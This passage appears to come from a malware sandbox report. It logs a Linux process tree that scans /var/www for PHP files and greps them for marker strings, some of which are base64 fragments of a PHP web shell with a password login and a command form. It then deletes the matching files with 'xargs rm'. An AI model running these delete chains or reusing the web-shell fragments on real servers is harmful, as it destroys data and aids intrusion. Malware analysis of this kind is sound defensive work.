    find /var/www -type f -name "*.php" -print0
    3⤵
    - Reads runtime system information
    PID:912
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:916
- - /usr/bin/xargs
    xargs -0 grep -Il Unauth0r1zed
    3⤵
    PID:917
  - - /usr/local/sbin/grep
      grep -Il Unauth0r1zed
      4⤵
      PID:919
  - - /usr/local/bin/grep
      grep -Il Unauth0r1zed
      4⤵
      PID:919
  - - /usr/sbin/grep
      grep -Il Unauth0r1zed
      4⤵
      PID:919
  - - /usr/bin/grep
      grep -Il Unauth0r1zed
      4⤵
      PID:919
  - - /sbin/grep
      grep -Il Unauth0r1zed
      4⤵
      PID:919
  - - /bin/grep
      grep -Il Unauth0r1zed
      4⤵
      PID:919
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:918
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:920
- - /usr/bin/xargs
    xargs -0 grep -Il t3rr0r
    3⤵
    PID:921
  - - /usr/local/sbin/grep
      grep -Il t3rr0r
      4⤵
      PID:923
  - - /usr/local/bin/grep
      grep -Il t3rr0r
      4⤵
      PID:923
  - - /usr/sbin/grep
      grep -Il t3rr0r
      4⤵
      PID:923
  - - /usr/bin/grep
      grep -Il t3rr0r
      4⤵
      PID:923
  - - /sbin/grep
      grep -Il t3rr0r
      4⤵
      PID:923
  - - /bin/grep
      grep -Il t3rr0r
      4⤵
      PID:923
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:922
- - /usr/bin/xargs
    xargs -0 grep -Il 0e192062b367640f89ecff7c7f4ae1b9
    3⤵
    PID:925
  - - /usr/local/sbin/grep
      grep -Il 0e192062b367640f89ecff7c7f4ae1b9
      4⤵
      PID:927
  - - /usr/local/bin/grep
      grep -Il 0e192062b367640f89ecff7c7f4ae1b9
      4⤵
      PID:927
  - - /usr/sbin/grep
      grep -Il 0e192062b367640f89ecff7c7f4ae1b9
      4⤵
      PID:927
  - - /usr/bin/grep
      grep -Il 0e192062b367640f89ecff7c7f4ae1b9
      4⤵
      PID:927
  - - /sbin/grep
      grep -Il 0e192062b367640f89ecff7c7f4ae1b9
      4⤵
      PID:927
  - - /bin/grep
      grep -Il 0e192062b367640f89ecff7c7f4ae1b9
      4⤵
      PID:927
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:924
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:926
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:928
- - /usr/bin/xargs
    xargs -0 grep -Il 52fFCRq3eSzikNOACwOlABWSU337FD
    3⤵
    PID:929
  - - /usr/local/sbin/grep
      grep -Il 52fFCRq3eSzikNOACwOlABWSU337FD
      4⤵
      PID:931
  - - /usr/local/bin/grep
      grep -Il 52fFCRq3eSzikNOACwOlABWSU337FD
      4⤵
      PID:931
  - - /usr/sbin/grep
      grep -Il 52fFCRq3eSzikNOACwOlABWSU337FD
      4⤵
      PID:931
  - - /usr/bin/grep
      grep -Il 52fFCRq3eSzikNOACwOlABWSU337FD
      4⤵
      PID:931
  - - /sbin/grep
      grep -Il 52fFCRq3eSzikNOACwOlABWSU337FD
      4⤵
      PID:931
  - - /bin/grep
      grep -Il 52fFCRq3eSzikNOACwOlABWSU337FD
      4⤵
      PID:931
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:930
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    - Reads runtime system information
    PID:932
- - /usr/bin/xargs
    xargs -0 grep -Il 1JEjqYvbRSA8PMTjB
    3⤵
    PID:933
  - - /usr/local/sbin/grep
      grep -Il 1JEjqYvbRSA8PMTjB
      4⤵
      PID:935
  - - /usr/local/bin/grep
      grep -Il 1JEjqYvbRSA8PMTjB
      4⤵
      PID:935
  - - /usr/sbin/grep
      grep -Il 1JEjqYvbRSA8PMTjB
      4⤵
      PID:935
  - - /usr/bin/grep
      grep -Il 1JEjqYvbRSA8PMTjB
      4⤵
      PID:935
  - - /sbin/grep
      grep -Il 1JEjqYvbRSA8PMTjB
      4⤵
      PID:935
  - - /bin/grep
      grep -Il 1JEjqYvbRSA8PMTjB
      4⤵
      PID:935
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:934
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    - Reads runtime system information
    PID:936
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:938
- - /usr/bin/xargs
    xargs -0 grep -Il qkLKx22ycIdbEdd2ewNodHRy
    3⤵
    PID:937
  - - /usr/local/sbin/grep
      grep -Il qkLKx22ycIdbEdd2ewNodHRy
      4⤵
      PID:939
  - - /usr/local/bin/grep
      grep -Il qkLKx22ycIdbEdd2ewNodHRy
      4⤵
      PID:939
  - - /usr/sbin/grep
      grep -Il qkLKx22ycIdbEdd2ewNodHRy
      4⤵
      PID:939
  - - /usr/bin/grep
      grep -Il qkLKx22ycIdbEdd2ewNodHRy
      4⤵
      PID:939
  - - /sbin/grep
      grep -Il qkLKx22ycIdbEdd2ewNodHRy
      4⤵
      PID:939
  - - /bin/grep
      grep -Il qkLKx22ycIdbEdd2ewNodHRy
      4⤵
      PID:939
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:940
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    - Reads runtime system information
    PID:942
- - /usr/bin/xargs
    xargs -0 grep -Il UApLWfZz3vIhSFBPJvUnolRm
    3⤵
    - Reads runtime system information
    PID:941
  - - /usr/local/sbin/grep
      grep -Il UApLWfZz3vIhSFBPJvUnolRm
      4⤵
      PID:943
  - - /usr/local/bin/grep
      grep -Il UApLWfZz3vIhSFBPJvUnolRm
      4⤵
      PID:943
  - - /usr/sbin/grep
      grep -Il UApLWfZz3vIhSFBPJvUnolRm
      4⤵
      PID:943
  - - /usr/bin/grep
      grep -Il UApLWfZz3vIhSFBPJvUnolRm
      4⤵
      PID:943
  - - /sbin/grep
      grep -Il UApLWfZz3vIhSFBPJvUnolRm
      4⤵
      PID:943
  - - /bin/grep
      grep -Il UApLWfZz3vIhSFBPJvUnolRm
      4⤵
      PID:943
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:944
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:946
- - /usr/bin/xargs
    xargs -0 grep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA
    3⤵
    PID:945
  - - /usr/local/sbin/grep
      grep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA
      4⤵
      PID:947
  - - /usr/local/bin/grep
      grep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA
      4⤵
      PID:947
  - - /usr/sbin/grep
      grep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA
      4⤵
      PID:947
  - - /usr/bin/grep
      grep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA
      4⤵
      PID:947
  - - /sbin/grep
      grep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA
      4⤵
      PID:947
  - - /bin/grep
      grep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA
      4⤵
      PID:947
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:948
- - /usr/bin/xargs
    xargs -0 grep -Il XCafVCH5E7TLib5Vw6PWqyfDDu
    3⤵
    - Reads runtime system information
    PID:949
  - - /usr/local/sbin/grep
      grep -Il XCafVCH5E7TLib5Vw6PWqyfDDu
      4⤵
      PID:951
  - - /usr/local/bin/grep
      grep -Il XCafVCH5E7TLib5Vw6PWqyfDDu
      4⤵
      PID:951
  - - /usr/sbin/grep
      grep -Il XCafVCH5E7TLib5Vw6PWqyfDDu
      4⤵
      PID:951
  - - /usr/bin/grep
      grep -Il XCafVCH5E7TLib5Vw6PWqyfDDu
      4⤵
      PID:951
  - - /sbin/grep
      grep -Il XCafVCH5E7TLib5Vw6PWqyfDDu
      4⤵
      PID:951
  - - /bin/grep
      grep -Il XCafVCH5E7TLib5Vw6PWqyfDDu
      4⤵
      PID:951
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    - Reads runtime system information
    PID:950
- - /usr/bin/xargs
    xargs -0 grep -Il z5IB9IIKD4bAsifd3tTghCaD
    3⤵
    PID:953
  - - /usr/local/sbin/grep
      grep -Il z5IB9IIKD4bAsifd3tTghCaD
      4⤵
      PID:955
  - - /usr/local/bin/grep
      grep -Il z5IB9IIKD4bAsifd3tTghCaD
      4⤵
      PID:955
  - - /usr/sbin/grep
      grep -Il z5IB9IIKD4bAsifd3tTghCaD
      4⤵
      PID:955
  - - /usr/bin/grep
      grep -Il z5IB9IIKD4bAsifd3tTghCaD
      4⤵
      PID:955
  - - /sbin/grep
      grep -Il z5IB9IIKD4bAsifd3tTghCaD
      4⤵
      PID:955
  - - /bin/grep
      grep -Il z5IB9IIKD4bAsifd3tTghCaD
      4⤵
      PID:955
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:952
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:954
- - /usr/bin/xargs
    xargs -0 grep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt
    3⤵
    PID:957
  - - /usr/local/sbin/grep
      grep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt
      4⤵
      PID:959
  - - /usr/local/bin/grep
      grep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt
      4⤵
      PID:959
  - - /usr/sbin/grep
      grep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt
      4⤵
      PID:959
  - - /usr/bin/grep
      grep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt
      4⤵
      PID:959
  - - /sbin/grep
      grep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt
      4⤵
      PID:959
  - - /bin/grep
      grep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt
      4⤵
      PID:959
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:956
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:958
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    - Reads runtime system information
    PID:960
- - /usr/bin/xargs
    xargs -0 grep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:961
  - - /usr/local/sbin/grep
      grep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf
      4⤵
      System Network Configuration Discovery
      PID:963
  - - /usr/local/bin/grep
      grep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf
      4⤵
      System Network Configuration Discovery
      PID:963
  - - /usr/sbin/grep
      grep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf
      4⤵
      System Network Configuration Discovery
      PID:963
  - - /usr/bin/grep
      grep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf
      4⤵
      System Network Configuration Discovery
      PID:963
  - - /sbin/grep
      grep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf
      4⤵
      System Network Configuration Discovery
      PID:963
  - - /bin/grep
      grep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf
      4⤵
      System Network Configuration Discovery
      PID:963
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:962
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    - Reads runtime system information
    PID:964
- - /usr/bin/xargs
    xargs -0 grep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE
    3⤵
    PID:965
  - - /usr/local/sbin/grep
      grep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE
      4⤵
      PID:967
  - - /usr/local/bin/grep
      grep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE
      4⤵
      PID:967
  - - /usr/sbin/grep
      grep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE
      4⤵
      PID:967
  - - /usr/bin/grep
      grep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE
      4⤵
      PID:967
  - - /sbin/grep
      grep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE
      4⤵
      PID:967
  - - /bin/grep
      grep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE
      4⤵
      PID:967
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    - Reads runtime system information
    PID:966
- - /usr/bin/xargs
    xargs -0 grep -Il "Black Ban V1.01"
    3⤵
    PID:969
  - - /usr/local/sbin/grep
      grep -Il "Black Ban V1.01"
      4⤵
      PID:971
  - - /usr/local/bin/grep
      grep -Il "Black Ban V1.01"
      4⤵
      PID:971
  - - /usr/sbin/grep
      grep -Il "Black Ban V1.01"
      4⤵
      PID:971
  - - /usr/bin/grep
      grep -Il "Black Ban V1.01"
      4⤵
      PID:971
  - - /sbin/grep
      grep -Il "Black Ban V1.01"
      4⤵
      PID:971
  - - /bin/grep
      grep -Il "Black Ban V1.01"
      4⤵
      PID:971
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:968
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:970
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:972
- - /usr/bin/xargs
    xargs -0 grep -Il xtb4iPdnIWJRxU8IyOQEcyjY
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:973
  - - /usr/local/sbin/grep
      grep -Il xtb4iPdnIWJRxU8IyOQEcyjY
      4⤵
      System Network Configuration Discovery
      PID:975
  - - /usr/local/bin/grep
      grep -Il xtb4iPdnIWJRxU8IyOQEcyjY
      4⤵
      System Network Configuration Discovery
      PID:975
  - - /usr/sbin/grep
      grep -Il xtb4iPdnIWJRxU8IyOQEcyjY
      4⤵
      System Network Configuration Discovery
      PID:975
  - - /usr/bin/grep
      grep -Il xtb4iPdnIWJRxU8IyOQEcyjY
      4⤵
      System Network Configuration Discovery
      PID:975
  - - /sbin/grep
      grep -Il xtb4iPdnIWJRxU8IyOQEcyjY
      4⤵
      System Network Configuration Discovery
      PID:975
  - - /bin/grep
      grep -Il xtb4iPdnIWJRxU8IyOQEcyjY
      4⤵
      System Network Configuration Discovery
      PID:975
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:974
- - /usr/bin/xargs
    xargs -0 grep -Il 6thGn5eUaCSpzv
    3⤵
    PID:977
  - - /usr/local/sbin/grep
      grep -Il 6thGn5eUaCSpzv
      4⤵
      PID:979
  - - /usr/local/bin/grep
      grep -Il 6thGn5eUaCSpzv
      4⤵
      PID:979
  - - /usr/sbin/grep
      grep -Il 6thGn5eUaCSpzv
      4⤵
      PID:979
  - - /usr/bin/grep
      grep -Il 6thGn5eUaCSpzv
      4⤵
      PID:979
  - - /sbin/grep
      grep -Il 6thGn5eUaCSpzv
      4⤵
      PID:979
  - - /bin/grep
      grep -Il 6thGn5eUaCSpzv
      4⤵
      PID:979
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:976
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:978
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:980
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:982
- - /usr/bin/xargs
    xargs -0 grep -Il HI7sTioa
    3⤵
    PID:981
  - - /usr/local/sbin/grep
      grep -Il HI7sTioa
      4⤵
      PID:983
  - - /usr/local/bin/grep
      grep -Il HI7sTioa
      4⤵
      PID:983
  - - /usr/sbin/grep
      grep -Il HI7sTioa
      4⤵
      PID:983
  - - /usr/bin/grep
      grep -Il HI7sTioa
      4⤵
      PID:983
  - - /sbin/grep
      grep -Il HI7sTioa
      4⤵
      PID:983
  - - /bin/grep
      grep -Il HI7sTioa
      4⤵
      PID:983
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:984
- - /usr/bin/xargs
    xargs -0 grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
    3⤵
    PID:985
  - - /usr/local/sbin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:987
  - - /usr/local/bin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:987
  - - /usr/sbin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:987
  - - /usr/bin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:987
  - - /sbin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:987
  - - /bin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:987
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:986
- - /usr/bin/xargs
    xargs -0 grep -Il 5Bx04ERlrGnXR2yra
    3⤵
    PID:989
  - - /usr/local/sbin/grep
      grep -Il 5Bx04ERlrGnXR2yra
      4⤵
      PID:991
  - - /usr/local/bin/grep
      grep -Il 5Bx04ERlrGnXR2yra
      4⤵
      PID:991
  - - /usr/sbin/grep
      grep -Il 5Bx04ERlrGnXR2yra
      4⤵
      PID:991
  - - /usr/bin/grep
      grep -Il 5Bx04ERlrGnXR2yra
      4⤵
      PID:991
  - - /sbin/grep
      grep -Il 5Bx04ERlrGnXR2yra
      4⤵
      PID:991
  - - /bin/grep
      grep -Il 5Bx04ERlrGnXR2yra
      4⤵
      PID:991
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:988
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:990
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    - Reads runtime system information
    PID:992
- - /usr/bin/xargs
    xargs -0 grep -Il PC2DFckV8Pr7VsIlz
    3⤵
    PID:993
  - - /usr/local/sbin/grep
      grep -Il PC2DFckV8Pr7VsIlz
      4⤵
      PID:995
  - - /usr/local/bin/grep
      grep -Il PC2DFckV8Pr7VsIlz
      4⤵
      PID:995
  - - /usr/sbin/grep
      grep -Il PC2DFckV8Pr7VsIlz
      4⤵
      PID:995
  - - /usr/bin/grep
      grep -Il PC2DFckV8Pr7VsIlz
      4⤵
      PID:995
  - - /sbin/grep
      grep -Il PC2DFckV8Pr7VsIlz
      4⤵
      PID:995
  - - /bin/grep
      grep -Il PC2DFckV8Pr7VsIlz
      4⤵
      PID:995
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:994
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:996
- - /usr/bin/xargs
    xargs -0 grep -Il B0WykLMrTWM3ksFE7CwoqHqB
    3⤵
    PID:997
  - - /usr/local/sbin/grep
      grep -Il B0WykLMrTWM3ksFE7CwoqHqB
      4⤵
      PID:999
  - - /usr/local/bin/grep
      grep -Il B0WykLMrTWM3ksFE7CwoqHqB
      4⤵
      PID:999
  - - /usr/sbin/grep
      grep -Il B0WykLMrTWM3ksFE7CwoqHqB
      4⤵
      PID:999
  - - /usr/bin/grep
      grep -Il B0WykLMrTWM3ksFE7CwoqHqB
      4⤵
      PID:999
  - - /sbin/grep
      grep -Il B0WykLMrTWM3ksFE7CwoqHqB
      4⤵
      PID:999
  - - /bin/grep
      grep -Il B0WykLMrTWM3ksFE7CwoqHqB
      4⤵
      PID:999
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:998
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    - Reads runtime system information
    PID:1000
- - /usr/bin/xargs
    xargs -0 grep -Il xBzLIuwz8oDrW2
    3⤵
    PID:1001
  - - /usr/local/sbin/grep
      grep -Il xBzLIuwz8oDrW2
      4⤵
      PID:1003
  - - /usr/local/bin/grep
      grep -Il xBzLIuwz8oDrW2
      4⤵
      PID:1003
  - - /usr/sbin/grep
      grep -Il xBzLIuwz8oDrW2
      4⤵
      PID:1003
  - - /usr/bin/grep
      grep -Il xBzLIuwz8oDrW2
      4⤵
      PID:1003
  - - /sbin/grep
      grep -Il xBzLIuwz8oDrW2
      4⤵
      PID:1003
  - - /bin/grep
      grep -Il xBzLIuwz8oDrW2
      4⤵
      PID:1003
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1002
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1004
- - /usr/bin/xargs
    xargs -0 grep -Il Nmg8ls5H
    3⤵
    PID:1005
  - - /usr/local/sbin/grep
      grep -Il Nmg8ls5H
      4⤵
      PID:1007
  - - /usr/local/bin/grep
      grep -Il Nmg8ls5H
      4⤵
      PID:1007
  - - /usr/sbin/grep
      grep -Il Nmg8ls5H
      4⤵
      PID:1007
  - - /usr/bin/grep
      grep -Il Nmg8ls5H
      4⤵
      PID:1007
  - - /sbin/grep
      grep -Il Nmg8ls5H
      4⤵
      PID:1007
  - - /bin/grep
      grep -Il Nmg8ls5H
      4⤵
      PID:1007
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1006
- - /usr/bin/xargs
    xargs -0 grep -Il VictamPbx
    3⤵
    PID:1009
  - - /usr/local/sbin/grep
      grep -Il VictamPbx
      4⤵
      PID:1011
  - - /usr/local/bin/grep
      grep -Il VictamPbx
      4⤵
      PID:1011
  - - /usr/sbin/grep
      grep -Il VictamPbx
      4⤵
      PID:1011
  - - /usr/bin/grep
      grep -Il VictamPbx
      4⤵
      PID:1011
  - - /sbin/grep
      grep -Il VictamPbx
      4⤵
      PID:1011
  - - /bin/grep
      grep -Il VictamPbx
      4⤵
      PID:1011
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1010
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1008
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1012
- - /usr/bin/xargs
    xargs -0 grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg
    3⤵
    PID:1013
  - - /usr/local/sbin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg
      4⤵
      PID:1015
  - - /usr/local/bin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg
      4⤵
      PID:1015
  - - /usr/sbin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg
      4⤵
      PID:1015
  - - /usr/bin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg
      4⤵
      PID:1015
  - - /sbin/grep
